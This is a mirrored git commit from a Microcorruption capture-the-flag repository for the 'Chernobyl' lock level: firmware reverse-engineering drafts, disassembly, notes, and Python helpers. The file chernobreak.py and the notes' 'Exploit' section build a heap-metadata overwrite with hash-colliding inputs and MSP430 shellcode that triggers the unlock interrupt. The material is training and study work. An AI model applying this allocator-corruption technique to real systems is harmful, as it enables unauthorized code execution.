mirror of
https://git.soft.fish/val/MicroCorruption.git
synced 2025-10-29 04:09:15 +00:00
Renumber levels to match official indices
This commit is contained in:
96
18-Chernobyl/.clang-format
Normal file
96
18-Chernobyl/.clang-format
Normal file
@@ -0,0 +1,96 @@
|
||||
|
||||
# Default to Google style
|
||||
BasedOnStyle: Google
|
||||
|
||||
# Don't derive from file
|
||||
DeriveLineEnding: false
|
||||
DerivePointerAlignment: false
|
||||
|
||||
# Google limits lines to 80 columns. Don't do that.
|
||||
ColumnLimit: 0
|
||||
|
||||
# Here there be controversy
|
||||
IndentWidth: 3
|
||||
ConstructorInitializerIndentWidth: 3
|
||||
ContinuationIndentWidth: 3
|
||||
|
||||
# Alignment checks
|
||||
AlignConsecutiveAssignments: true
|
||||
AlignTrailingComments: true
|
||||
|
||||
# Sort include blocks, and regroup based on include category
|
||||
SortIncludes: CaseInsensitive
|
||||
IncludeBlocks: Regroup
|
||||
|
||||
# Allow short blocks on single line
|
||||
AllowShortBlocksOnASingleLine: Always
|
||||
AllowShortEnumsOnASingleLine: true
|
||||
AllowShortFunctionsOnASingleLine: Inline
|
||||
AllowShortIfStatementsOnASingleLine: AllIfsAndElse
|
||||
AllowShortLambdasOnASingleLine: Inline
|
||||
AllowShortLoopsOnASingleLine: true
|
||||
# Except case statements
|
||||
AllowShortCaseLabelsOnASingleLine: false
|
||||
|
||||
# Line wrapping should not happen, but just in case, keep the args together
|
||||
BinPackArguments: true
|
||||
BinPackParameters: true
|
||||
|
||||
# When bitfield-packing a struct, spaces go after the colon, not before
|
||||
BitFieldColonSpacing: After
|
||||
|
||||
# By default, braces are obnoxiously wrapped to newlines
|
||||
BreakBeforeBraces: Custom
|
||||
# Disable that
|
||||
BraceWrapping:
|
||||
AfterEnum: false
|
||||
AfterFunction: false
|
||||
AfterNamespace: false
|
||||
AfterStruct: false
|
||||
AfterUnion: false
|
||||
AfterExternBlock: false
|
||||
AfterControlStatement: false
|
||||
|
||||
BeforeCatch: false
|
||||
BeforeElse: false
|
||||
BeforeLambdaBody: false
|
||||
BeforeWhile: false
|
||||
|
||||
IndentBraces: false
|
||||
|
||||
SplitEmptyFunction: false
|
||||
|
||||
# Don't break before ?:, it looks ugly
|
||||
BreakBeforeTernaryOperators: false
|
||||
|
||||
# Trim empty lines when there are more than 1
|
||||
MaxEmptyLinesToKeep: 1
|
||||
|
||||
# Align &*s toward the variable name (i.e. int &number; char *cstring)
|
||||
ReferenceAlignment: Pointer
|
||||
PointerAlignment: Right
|
||||
|
||||
# Put spaces after (int) c_style_casts and template <T>, but !after '!' operator
|
||||
SpaceAfterCStyleCast: true
|
||||
SpaceAfterLogicalNot: false
|
||||
SpaceAfterTemplateKeyword: true
|
||||
|
||||
# Put spaces before \.?\= operators, initializer {lists}, inline (parentheses), // comments.
|
||||
SpaceBeforeAssignmentOperators: true
|
||||
SpaceBeforeCpp11BracedList: true
|
||||
SpaceBeforeParens: Always
|
||||
SpacesBeforeTrailingComments: 1
|
||||
SpacesInLineCommentPrefix:
|
||||
Minimum: 1
|
||||
# Don't put spaces in case : statements, object : inheritance,
|
||||
# for (auto& loops : range), conditional ( statements ), ( parentheses ), [ brackets ]
|
||||
SpaceBeforeCaseColon: false
|
||||
SpaceBeforeInheritanceColon: false
|
||||
SpaceBeforeRangeBasedForLoopColon: false
|
||||
SpacesInConditionalStatement: false
|
||||
SpacesInParentheses: false
|
||||
SpacesInSquareBrackets: false
|
||||
|
||||
# Always use LF for line breaks, and NEVER use tabs for indentation
|
||||
UseCRLF: false
|
||||
UseTab: Never
|
||||
BIN
18-Chernobyl/CFG/Chernobyl_run.png
Normal file
BIN
18-Chernobyl/CFG/Chernobyl_run.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 416 KiB |
1
18-Chernobyl/CFG/Chernobyl_run.svg
Normal file
1
18-Chernobyl/CFG/Chernobyl_run.svg
Normal file
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 492 KiB |
59
18-Chernobyl/Code/Makefile
Normal file
59
18-Chernobyl/Code/Makefile
Normal file
@@ -0,0 +1,59 @@
|
||||
|
||||
# ---------- Variables listed below --------- #
|
||||
# Executable
|
||||
TARGET := chernobyl.out
|
||||
|
||||
# Paths to source, include, dependency, and object files
|
||||
SPATH = src
|
||||
IPATH = inc
|
||||
DPATH = dep
|
||||
OPATH = obj
|
||||
|
||||
# File type of source file
|
||||
STYPE = c
|
||||
|
||||
VPATH = $(SPATH) $(IPATH) $(DPATH) $(OPATH)
|
||||
|
||||
# compiler and compiler flags
|
||||
CC = g++
|
||||
CFLAGS = -I$(IPATH) -std=c++11 -Os
|
||||
|
||||
# list of object files
|
||||
SOURCES = $(wildcard $(SPATH)/*.$(STYPE))
|
||||
OBJECTS = $(addprefix $(OPATH)/,$(notdir $(SOURCES:.$(STYPE)=.o)))
|
||||
|
||||
|
||||
# ----------- Targets listed below ---------- #
|
||||
# Some targets aren't real
|
||||
.PHONY: all clean run dump
|
||||
# Don't autodelete object files:
|
||||
.PRECIOUS: $(OPATH)/%.o
|
||||
|
||||
all: $(DPATH) $(OPATH) $(TARGET)
|
||||
|
||||
dump:
|
||||
@echo SOURCES: $(SOURCES)
|
||||
@echo OBJECTS: $(OBJECTS)
|
||||
@echo TARGET: $(TARGET)
|
||||
@echo VPATH: $(VPATH)
|
||||
|
||||
clean:
|
||||
-rm $(TARGET)
|
||||
-rm -r dep obj
|
||||
|
||||
run:
|
||||
-$(addprefix ./,$(addsuffix ;,$(TARGET)))
|
||||
|
||||
$(DPATH) $(OPATH):
|
||||
mkdir -p $@
|
||||
|
||||
# Make the executable(s)
|
||||
%.out: $(OBJECTS)
|
||||
$(CC) $(CFLAGS) -o "$@" $^
|
||||
# Make the object and dependency files
|
||||
$(OPATH)/%.o: $(SPATH)/%.$(STYPE)
|
||||
$(CC) $(CFLAGS) -MMD -MF "$(DPATH)/$(@F:.o=.d)" -o "$@" -c "$<"
|
||||
|
||||
# --------- Inclusions listed below --------- #
|
||||
# use dependencies when rebuilding
|
||||
-include $(wildcard $(DPATH)/*.d)
|
||||
19
18-Chernobyl/Code/crappy_python/caller_id.py
Normal file
19
18-Chernobyl/Code/crappy_python/caller_id.py
Normal file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
caller_id: Call a function with arbitrary parameters in microcorruption
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
preamble = "reset; break main; continue; unbreak main;"
|
||||
|
||||
while 1:
|
||||
address, *args = re.split(r"[(,) ]",input("> "))
|
||||
if address == "": break
|
||||
print(f"{preamble} Let pc = {address}", end=";")
|
||||
reg = 15
|
||||
for arg in args:
|
||||
if arg:
|
||||
print(f"Let r{reg} = {arg}", end=";")
|
||||
reg -= 1
|
||||
print("\b ")
|
||||
53
18-Chernobyl/Code/crappy_python/chernobreak.py
Normal file
53
18-Chernobyl/Code/crappy_python/chernobreak.py
Normal file
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# user info
|
||||
user_struct_size = 0x12 # User is a tuple of (char[16], i16)
|
||||
|
||||
users_per_box = 0x5
|
||||
|
||||
# Stack info
|
||||
ret_stack_addr = 0x3dce - 0x0004 # 3nd index of header struct
|
||||
ret_addr = 0x49a2 # Address that will be returned to
|
||||
stackbuffer_top = 0x3df0 - 0x0006 # top of stack buffer, PLUS "new "
|
||||
target_offset = ((stackbuffer_top - ret_addr) & 0xffff) + 1
|
||||
|
||||
print(f"{ret_stack_addr = :x}, {ret_addr = :x}, {target_offset = :x}");
|
||||
|
||||
bnew = b'new '
|
||||
|
||||
clobber = ret_stack_addr.to_bytes(2, 'little').hex() + 'fc50' + target_offset.to_bytes(2, 'little').hex()
|
||||
|
||||
'''
|
||||
sub.b #1, r8 5883
|
||||
swpb r8 8810
|
||||
mov r8, sr 0248
|
||||
mov #4cfc, pc 3040 fc4c
|
||||
'''
|
||||
payload = "5883 8810 0248 3040fc4c"
|
||||
|
||||
# Hash function, which governs the boxes
|
||||
def hash(byts: bytes):
|
||||
ret = 0;
|
||||
for c in byts:
|
||||
ret += c
|
||||
ret = ((ret << 5) - ret) & 0xffff
|
||||
return ret
|
||||
|
||||
# Fix a string by adding a character that causes a hash collision
|
||||
def fixhash(name:bytes, box:int, modulus:int):
|
||||
error = box - (hash(name) % modulus)
|
||||
if error % modulus == 0:
|
||||
return name
|
||||
name += (ord("@")+error+modulus).to_bytes(1, "big")
|
||||
print(f"{name.hex() = }; {error = }; new box = {hash(name) % modulus}")
|
||||
return name
|
||||
|
||||
def a2h (s: str):
|
||||
return bytes(s, 'ascii').hex()
|
||||
payload = f'{a2h("new ")} {fixhash(bytes.fromhex(payload), 0, 16).hex()} {a2h(" ;new 8 ;new @ ;new H ;new P ;")} {bnew.hex()} {fixhash(bytes.fromhex(clobber), 0, 16).hex()} {a2h(" ;new 1 ;new 9 ;new A ;new I ;new Q ;new")}'
|
||||
print(payload)
|
||||
|
||||
exit(0)
|
||||
while 1:
|
||||
name, box = input("> ").split()
|
||||
print(fixhash(bytes(name, "ascii"), int(box), 16).decode('ascii'));
|
||||
24
18-Chernobyl/Code/crappy_python/hashfunc.py
Normal file
24
18-Chernobyl/Code/crappy_python/hashfunc.py
Normal file
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# TODO: Actually break the hashes?
|
||||
# TODONE in chernobreak.py
|
||||
|
||||
def hash(chars):
|
||||
ret = 0;
|
||||
for c in chars:
|
||||
ret += c
|
||||
ret = ((ret << 5) - ret) & 0xffff
|
||||
return ret
|
||||
|
||||
while True:
|
||||
try:
|
||||
line = input("> ")
|
||||
if (len(line) and line[0] == '~'):
|
||||
h = hash(bytes.fromhex(line[1:]));
|
||||
else:
|
||||
h = hash(line.encode())
|
||||
print(f"hash: {h:x}, box[3]: {h&7:x}, box[4]: {h&0xf:x}");
|
||||
except EOFError:
|
||||
break
|
||||
|
||||
print("")
|
||||
43
18-Chernobyl/Code/inc/chernobyl.h
Normal file
43
18-Chernobyl/Code/inc/chernobyl.h
Normal file
@@ -0,0 +1,43 @@
|
||||
#ifndef CHERNOBYL_H
|
||||
#define CHERNOBYL_H
|
||||
|
||||
#include "chernobyl_types.h"
|
||||
|
||||
u16 _main ();
|
||||
u16 walk (u16 r15); // unused
|
||||
u16 run ();
|
||||
|
||||
u16 *create_hash_table (u16 exponent, u16 size);
|
||||
u16 add_to_table (u16 *table, char *username, u16 pin);
|
||||
// Return address of a buffer from the table
|
||||
// r15 = buffer address. r14
|
||||
u16 get_from_table (void *r15, char *r14);
|
||||
u16 hash (char *str);
|
||||
u16 rehash (u16 *table, u16 r14);
|
||||
|
||||
// Strings, named after the position of the first character in memory
|
||||
// Strings associated with <walk>
|
||||
#define s_4566 "\r\r"
|
||||
#define s_4569 "%x [alloc] [p %x] [n %x] [s %x]"
|
||||
#define s_4588 " "
|
||||
#define s_458b " {%x} [ "
|
||||
#define s_4594 "%x "
|
||||
#define s_4599 "%x [freed] [p %x] [n %x] [s %x]"
|
||||
|
||||
// Strings associated with <malloc>
|
||||
#define s_465e "Heap exhausted; aborting."
|
||||
|
||||
// Strings associated with <run>
|
||||
#define s_4a38 "Welcome to the lock controller."
|
||||
#define s_4a58 "You can open the door by entering 'access [your name] [pin]'"
|
||||
#define s_4a95 ""
|
||||
#define s_4a96 "No such box."
|
||||
#define s_4aa3 "Access granted."
|
||||
#define s_4ab3 "Access granted; but account not activated."
|
||||
#define s_4ade "Aceess denied" // [sic]
|
||||
#define s_4aec "Can not have a pin with high bit set."
|
||||
#define s_4b12 "User already has an account."
|
||||
#define s_4b2f "Adding user account %s with pin %x."
|
||||
#define s_4b54 "Invalid command."
|
||||
|
||||
#endif
|
||||
21
18-Chernobyl/Code/inc/chernobyl_stdlib.h
Normal file
21
18-Chernobyl/Code/inc/chernobyl_stdlib.h
Normal file
@@ -0,0 +1,21 @@
|
||||
#ifndef CHERNOBYL_STDLIB_H
|
||||
#define CHERNOBYL_STDLIB_H
|
||||
|
||||
#include "chernobyl_types.h"
|
||||
|
||||
// Standard library functions
|
||||
// These use MSPGCC calling convention:
|
||||
// https://www.ti.com/lit/an/slaa664/slaa664.pdf?ts=1659422621072
|
||||
// ( Or see https://nhivp.github.io/msp430-gcc/2018-07-20/function-calling-convention )
|
||||
void *_malloc (u16 size);
|
||||
void _free (void *ptr);
|
||||
u16 _putchar (char c);
|
||||
i16 _getchar ();
|
||||
void _puts (const char *s);
|
||||
void _getsn (char *__restrict buf, u16 length);
|
||||
int _strcmp (const char *s1, const char *s2);
|
||||
void INT (u16 interrupt);
|
||||
|
||||
void swpb (u16 *word);
|
||||
|
||||
#endif
|
||||
32
18-Chernobyl/Code/inc/chernobyl_types.h
Normal file
32
18-Chernobyl/Code/inc/chernobyl_types.h
Normal file
@@ -0,0 +1,32 @@
|
||||
#ifndef CHERNOBYL_TYPES_H
|
||||
#define CHERNOBYL_TYPES_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint16_t u16;
|
||||
typedef int16_t i16;
|
||||
typedef uint8_t u8;
|
||||
typedef int8_t i8;
|
||||
|
||||
typedef struct registers {
|
||||
// Registers = initial_state
|
||||
u16 sp; // stack pointer
|
||||
u16 sr; // status register
|
||||
// General-purpose registers
|
||||
// Caller-saved registers
|
||||
u16 r4; // GPR 4
|
||||
u16 r5; // GPR 5
|
||||
u16 r6; // GPR 6
|
||||
u16 r7; // GPR 7
|
||||
u16 r8; // GPR 8
|
||||
u16 r9; // GPR 9
|
||||
u16 r10; // GPR 10
|
||||
u16 r11; // GPR 11
|
||||
// Callee-saved registers / function arguments / return value(s)
|
||||
u16 r12; // GPR 12 ; arg 3
|
||||
u16 r13; // GPR 13 ; arg 2
|
||||
u16 r14; // GPR 14 ; arg 1
|
||||
u16 r15; // GPR 15 ; arg 0
|
||||
} re;
|
||||
|
||||
#endif
|
||||
146
18-Chernobyl/Code/src/chernobyl.c
Normal file
146
18-Chernobyl/Code/src/chernobyl.c
Normal file
@@ -0,0 +1,146 @@
|
||||
// Just look at the function signatures in chernobyl.h and chernobyl_stdlib.h
|
||||
#include "chernobyl.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "chernobyl_stdlib.h"
|
||||
#include "chernobyl_types.h"
|
||||
|
||||
u16 to_decimal (char *buf) {
|
||||
u16 num = 0; // r10
|
||||
while (*buf) {
|
||||
num *= 10;
|
||||
num += *buf - '0';
|
||||
buf++;
|
||||
}
|
||||
return num;
|
||||
}
|
||||
|
||||
int main (int argc, char **argv) {
|
||||
if (argc == 1) {
|
||||
char buf[0x600] = {0};
|
||||
while (printf (">> "), _getsn (buf, 0x5ff), !feof (stdin)) {
|
||||
printf ("hash: %x, dec: %x\n", hash (buf), to_decimal (buf));
|
||||
};
|
||||
}
|
||||
|
||||
if (argc == 2) {
|
||||
printf ("hash: %x\n", hash (argv[1]));
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
u16 _main () {
|
||||
run ();
|
||||
return 0;
|
||||
}
|
||||
|
||||
u16 walk (u16 r15) {
|
||||
puts (s_4566); // "\n\n"
|
||||
printf (s_4569); //%x [alloc] [p %x] [n %x] [s %x]
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 0x4b66: run
|
||||
u16 run () {
|
||||
// move stack -0x600
|
||||
char buf[0x600];
|
||||
u16 *hashtable = create_hash_table (0x3, 0x5); // todo: What do these args mean?
|
||||
|
||||
// 4b82: Print out some shit
|
||||
puts (s_4a38); // "Welcome to the lock controller."
|
||||
puts (s_4a58); // "You can open the door by entering 'access [your name] [pin]'"
|
||||
puts (s_4a95); // ""
|
||||
|
||||
while (1) {
|
||||
// 4b9a: zero out the stack buffer
|
||||
for (int r14 = 0; r14 < 0x5ff; r14++) {
|
||||
buf[r14] = 0;
|
||||
}
|
||||
// 4bb0: get 0x550 characters -> stack buffer
|
||||
_getsn (buf, 0x550);
|
||||
// 4bba: loop over the user input:
|
||||
u16 index = 0;
|
||||
while (buf[index] != 0) {
|
||||
// 4bbe: check for 'a'
|
||||
if (buf[index] == 'a') {
|
||||
index += 7;
|
||||
char *name = &buf[index];
|
||||
// skip spaces
|
||||
while (buf[index++] != ' ') {
|
||||
if (buf[index] == 0)
|
||||
break;
|
||||
};
|
||||
} else if (buf[index] == 'n') {
|
||||
index += 4;
|
||||
// skip spaces
|
||||
while (buf[index++] != ' ') {
|
||||
if (buf[index] == 0)
|
||||
break;
|
||||
};
|
||||
} else {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
// end of the function
|
||||
puts (s_4b54); // "Invalid command."
|
||||
return 1;
|
||||
}
|
||||
|
||||
u16 *create_hash_table (u16 r15, u16 r14) {
|
||||
// todo: RE hash table creation
|
||||
u8 *buf = (u8 *) malloc (0xa);
|
||||
buf[0] = 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Hash the string stored at addr
|
||||
u16 hash (char *addr) {
|
||||
u16 chr, hash = 0;
|
||||
while (*addr) {
|
||||
hash = *addr + hash;
|
||||
hash = (hash << 5) - hash;
|
||||
addr++;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
u16 add_to_table (u16 *table, char *username, u16 pin) {
|
||||
// todo: add_to_table
|
||||
u16 r14 = table[1]; // Box bitmask exponent? 3
|
||||
u16 r12 = table[2]; // Box bitmask mantissa? 5
|
||||
//! What the hell is going on here?
|
||||
r12 <<= r14; // 3 <<= 5
|
||||
if (r12 < 0) {
|
||||
r12 = r12 + 3;
|
||||
}
|
||||
r12 >>= 2;
|
||||
if (table[0] < r12) { // if there are more names in table than 10:
|
||||
rehash (*table, r14); // Make more boxes, and shuffle them around?
|
||||
}
|
||||
table[0]++;
|
||||
hash (r14);
|
||||
r12 = 1 << table[1];
|
||||
// Then do some boring stuff
|
||||
return 0;
|
||||
}
|
||||
|
||||
// get_from_table hash_table* table, string* username
|
||||
u16 get_from_table (void *r15, char *r14) {
|
||||
u16 h = hash (r14);
|
||||
u16 num = ((u16 *) r15)[2];
|
||||
u16 power_of_two = (1 << num) - 1;
|
||||
power_of_two = (power_of_two & h) << 1;
|
||||
num = ((u16 *) r15)[6];
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
u16 rehash (u16 *table, u16 exponent) { // Now I see the problem
|
||||
// This function makes the hash table 2^exponent units long
|
||||
// and rehashes all the usernames stored in each box
|
||||
return 0;
|
||||
}
|
||||
113
18-Chernobyl/Code/src/chernobyl_stdlib.c
Normal file
113
18-Chernobyl/Code/src/chernobyl_stdlib.c
Normal file
@@ -0,0 +1,113 @@
|
||||
#include "chernobyl_stdlib.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "chernobyl.h"
|
||||
#include "chernobyl_types.h"
|
||||
|
||||
#define HEAP_BASE 0x2400
|
||||
|
||||
void __trap_interrupt () {
|
||||
// Hardware will do something here
|
||||
return;
|
||||
}
|
||||
|
||||
void set_w (u16* addr, u16 value) {
|
||||
*((u16 *) &addr) = value;
|
||||
}
|
||||
|
||||
u16 get_w (u16 *addr) {
|
||||
return *((u16 *) addr);
|
||||
}
|
||||
|
||||
void *_malloc (u16 size) {
|
||||
/*
|
||||
4678: 0b12 push r11
|
||||
467a: c293 0424 tst.b &0x2404
|
||||
467e: 0f24 jz $+0x20 <malloc+0x26>
|
||||
4680: 1e42 0024 mov &0x2400, r14
|
||||
4684: 8e4e 0000 mov r14, 0x0(r14)
|
||||
4688: 8e4e 0200 mov r14, 0x2(r14)
|
||||
468c: 1d42 0224 mov &0x2402, r13
|
||||
4690: 3d50 faff add #0xfffa, r13
|
||||
4694: 0d5d add r13, r13
|
||||
4696: 8e4d 0400 mov r13, 0x4(r14)
|
||||
469a: c243 0424 mov.b #0x0, &0x2404
|
||||
; malloc+0x26:
|
||||
469e: 1b42 0024 mov &0x2400, r11
|
||||
46a2: 0e4b mov r11, r14
|
||||
46a4: 1d4e 0400 mov 0x4(r14), r13
|
||||
46a8: 1db3 bit #0x1, r13
|
||||
46aa: 2820 jnz $+0x52 <46fc>
|
||||
|
||||
46fc: 0d4e mov r14, r13
|
||||
46fe: 1e4e 0200 mov 0x2(r14), r14
|
||||
4702: 0e9d cmp r13, r14
|
||||
4704: 0228 jnc $+0x6 <malloc+0x92>
|
||||
4706: 0e9b cmp r11, r14
|
||||
4708: cd23 jnz $-0x64 <malloc+0x2c>
|
||||
; puts("Heap exhausted. Aborting")
|
||||
470a: 3f40 5e46 mov #0x465e, r15
|
||||
470e: b012 504d call #0x4d50 <puts>
|
||||
4712: 3040 3e44 br #0x443e <__stop_progExec__>
|
||||
4716: 0f43 clr r15
|
||||
4718: 3b41 pop r11
|
||||
471a: 3041 ret
|
||||
*/
|
||||
|
||||
// return the address of the new block
|
||||
return 0;
|
||||
}
|
||||
|
||||
void _free (void *ptr) {
|
||||
return;
|
||||
}
|
||||
|
||||
u16 _putchar (char c) {
|
||||
putchar (c);
|
||||
return c;
|
||||
}
|
||||
|
||||
i16 _getchar () {
|
||||
return getchar ();
|
||||
}
|
||||
|
||||
void _puts (const char *s) {
|
||||
u8 character = 0;
|
||||
while (character = *(u8 *) s++) {
|
||||
_putchar (character);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void _getsn (char *__restrict buf, u16 length) {
|
||||
fgets (buf, length, stdin);
|
||||
buf[strnlen(buf, length) - 1] = '\0';
|
||||
return;
|
||||
}
|
||||
|
||||
int _strcmp (const char *s1, const char *s2) {
|
||||
while (*s1 == *s2) {
|
||||
if (*(++s1) == 0) {
|
||||
break;
|
||||
}
|
||||
s2++;
|
||||
}
|
||||
return *s2 - *s1;
|
||||
}
|
||||
|
||||
void INT (u16 interrupt) {
|
||||
swpb (&interrupt);
|
||||
interrupt |= 0x8000;
|
||||
//r.sr = interrupt;
|
||||
__trap_interrupt ();
|
||||
return;
|
||||
}
|
||||
|
||||
void swpb (u16 *word) {
|
||||
((u8 *) word)[0] = ((u8 *) word)[0] ^ ((u8 *) word)[1];
|
||||
((u8 *) word)[1] = ((u8 *) word)[1] ^ ((u8 *) word)[0];
|
||||
((u8 *) word)[0] = ((u8 *) word)[0] ^ ((u8 *) word)[1];
|
||||
}
|
||||
45
18-Chernobyl/Interrupt Listing
Normal file
45
18-Chernobyl/Interrupt Listing
Normal file
@@ -0,0 +1,45 @@
|
||||
4.3 Interrupt Listing
|
||||
The LockIT Pro has an augmented MSP430 CPU with a callgate at address
|
||||
0x10 causing a software interrupt. The interrupts are described below.
|
||||
|
||||
INT 0x00.
|
||||
The putchar interrupt: sends a single byte to the display.
|
||||
Takes one argument with the character to print.
|
||||
|
||||
INT 0x01.
|
||||
The getchar interrupt: reads a single byte of buffered input.
|
||||
Takes no arguments.
|
||||
|
||||
INT 0x02.
|
||||
The gets interrupt: read a specific number of bytes to standard input.
|
||||
Takes two arguments. The first is the address to place the string, the
|
||||
second is the maximum number of bytes to read. Null bytes are not handled
|
||||
specially null-terminated.
|
||||
|
||||
INT 0x10.
|
||||
Turn on DEP: pages are either executable or writable but never both.
|
||||
Takes no arguments.
|
||||
|
||||
INT 0x11.
|
||||
Mark as a page as either only executable or only writable.
|
||||
Takes two one arguments. The first argument is the page number, the
|
||||
second argument is 1 if writable, 0 if executable.
|
||||
|
||||
INT 0x20.
|
||||
The rand interrupt: request a random 16-bit number.
|
||||
Takes no arguments.
|
||||
|
||||
INT 0x7D.
|
||||
Interface with the HSM-1. Set a flag in memory if the password passed in is
|
||||
correct.
|
||||
Takes two arguments. The first argument is the password to test, the
|
||||
second is the location of a flag to overwrite if the password is correct.
|
||||
|
||||
INT 0x7E.
|
||||
Interface with the HSM-2. Trigger the deadbolt unlock if the password is
|
||||
correct.
|
||||
Takes one argument: the password to test.
|
||||
|
||||
INT 0x7F.
|
||||
Interface with deadbolt to trigger an unlock if the password is correct.
|
||||
Takes no arguments.
|
||||
65
18-Chernobyl/Notes
Normal file
65
18-Chernobyl/Notes
Normal file
@@ -0,0 +1,65 @@
|
||||
|
||||
Hash Table, plus one full box:
|
||||
0 1 2 3 4 5 6 7 8 9 a b c d e f
|
||||
5000:[0050 1050 1500]0b00 0300 0500 1650 2c50 .P.P.........P,P
|
||||
5010:[0050 2650 2100]4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
|
||||
5020: 2252 8252 e252[1050 3c50 2100]0b00 0000 "R.R.R.P<P!.....
|
||||
5030: 0000 0000 0000 0000 0000 0000[2650 9c50 ............&P.P
|
||||
5040: b500]4141 4141 4141 4141 4141 4141 4141 ..AAAAAAAAAAAAAA
|
||||
5050: 4100 e004 4141 4141 4141 4141 4141 4141 A...AAAAAAAAAAAA
|
||||
5060: 4141 4100 e004 4141 4141 4141 4141 4141 AAA...AAAAAAAAAA
|
||||
5070: 4141 4141 4100 e004 4141 4141 4141 4141 AAAAA...AAAAAAAA
|
||||
5080: 4141 4141 4141 4100 e004 4141 4141 4141 AAAAAAA...AAAAAA
|
||||
5090: 4141 4141 4141 4141 4100 e004[4141 4141 AAAAAAAAA...AAAA ; wait a second
|
||||
50a0: 4141]4141 4141 4141 4141 4100 e004 4141 AAAAAAAAAAA...AA
|
||||
50b0: 4141 4141 4141 4141 4141 4141 4100 e004 AAAAAAAAAAAAA...
|
||||
50c0: 4141 4141 4141 4141 4141 4141 4141 4100 AAAAAAAAAAAAAAA.
|
||||
50d0: e004 4141 4141 4141 4141 4141 4141 4141 ..AAAAAAAAAAAAAA
|
||||
50e0: 4100 e004 4141 4141 4141 4141 4141 4141 A...AAAAAAAAAAAA
|
||||
50f0: 4141 4100 e004 4141 4141 4800[9c50 5c51 AAA...AAAAH..P\Q
|
||||
5100: b500]0000 0000 e004 0000 0000 0000 0000 ................
|
||||
|
||||
Heap metadata @ 2400: 0050 0080 0000
|
||||
Heap start: 0x5000
|
||||
Heap size: 0x8000 (0x5000-0xD000)
|
||||
|
||||
Hash Table Header:
|
||||
Hash table header metadata @ 5000: 0050 1050 1500
|
||||
[ Prev: 0x5000, Next: 0x5010, Size: 0x000a ] ; malloc block-header ({size:15,status:1})
|
||||
Data: 0b00 0300 0500 1650 2c50
|
||||
00: 000b: Number of registered users(?)
|
||||
02: 0003: Parameter 1 (Box bitmask = 2^(<3>+1) - 1)
|
||||
04: 0005: Parameter 2 (Rightshift?)
|
||||
06: 5016: & Box Pointer List
|
||||
08: 502c: & Per-box User Count List
|
||||
|
||||
Box Pointer List:
|
||||
Box list header metadata @ 5010: 0050 2650 2100
|
||||
[ Prev: 5000, Next: 5026, Size: 0010 ]
|
||||
Data: 4250 a250 0251 6251 c251 2252 8252 e252
|
||||
00: 5042 & Box 0
|
||||
02: 50a2 & Box 1
|
||||
04: 5102 & Box 2
|
||||
06: 5162 & Box 3
|
||||
08: 51c2 & Box 4
|
||||
0a: 52c2 & Box 5
|
||||
0c: 5282 & Box 6
|
||||
0e: 52e2 & Box 7
|
||||
|
||||
Other Data Section (?)
|
||||
Section header metadata @ 5026: 1050 3c50 2100
|
||||
[ Prev: 5010, Next: 503c, Size: 0010 ]
|
||||
Data: 0a00 0000 0000 0000 0000 0000 0000 0000
|
||||
|
||||
for c in ['1', '9', 'A', 'I', 'Q', '0', '8', '@', 'H', 'P', 'AAAAAAAAAAAAAAAA', '']:
|
||||
print(f'new {c} ;',end="")
|
||||
|
||||
Malloc:
|
||||
- Checks to make sure next pointer is always ASCENDING
|
||||
- Does not check prev pointer!!!!
|
||||
|
||||
The Exploit:
|
||||
- Overwrite the prev pointer of a block so that it points to ~ the return address on stack
|
||||
- Overwrite the size parameter so that, when added to the return address, it places pc somewhere nice
|
||||
- Place pc into a payload on the stack
|
||||
- INT 0x7f
|
||||
1184
18-Chernobyl/mc-disasm.asm
Normal file
1184
18-Chernobyl/mc-disasm.asm
Normal file
File diff suppressed because it is too large
Load Diff
207
18-Chernobyl/mc-run.asm
Normal file
207
18-Chernobyl/mc-run.asm
Normal file
@@ -0,0 +1,207 @@
|
||||
4b66 <run>
|
||||
4b66: 0b12 push index
|
||||
4b68: 0a12 push r10
|
||||
4b6a: 0912 push r9
|
||||
4b6c: 0812 push r8
|
||||
4b6e: 0712 push r7
|
||||
; allocate 0x600 buffer on stack. Woah!
|
||||
4b70: 3150 00fa add #0xfa00, sp
|
||||
|
||||
; r8 = create_hash_table (0x3, 0x5)
|
||||
4b74: 3e40 0500 mov #0x5, r14
|
||||
4b78: 3f40 0300 mov #0x3, r15
|
||||
4b7c: b012 7847 call #0x4778 <create_hash_table>
|
||||
4b80: 084f mov r15, r8 ; save result
|
||||
|
||||
; print out some shit
|
||||
4b82: 3f40 384a mov #0x4a38, r15
|
||||
4b86: b012 504d call #0x4d50 <puts>
|
||||
4b8a: 3f40 584a mov #0x4a58, r15
|
||||
4b8e: b012 504d call #0x4d50 <puts>
|
||||
4b92: 3f40 954a mov #0x4a95, r15
|
||||
4b96: b012 504d call #0x4d50 <puts>
|
||||
|
||||
; zero out the stack buffer allocated above
|
||||
4b9a: 0e43 clr r14
|
||||
4b9c: 3740 ff05 mov #0x5ff, r7
|
||||
4ba0: 053c jmp $+0xc <run+0x46>
|
||||
; run+0x3c
|
||||
4ba2: 0f41 mov sp, r15
|
||||
4ba4: 0f5e add r14, r15
|
||||
4ba6: cf43 0000 mov.b #0x0, 0x0(r15)
|
||||
4baa: 1e53 inc r14
|
||||
; run+0x46:
|
||||
4bac: 079e cmp r14, r7
|
||||
4bae: f937 jge $-0xc <run+0x3c>
|
||||
|
||||
; get 0x550 characters -> stack buffer
|
||||
4bb0: 3e40 5005 mov #0x550, r14
|
||||
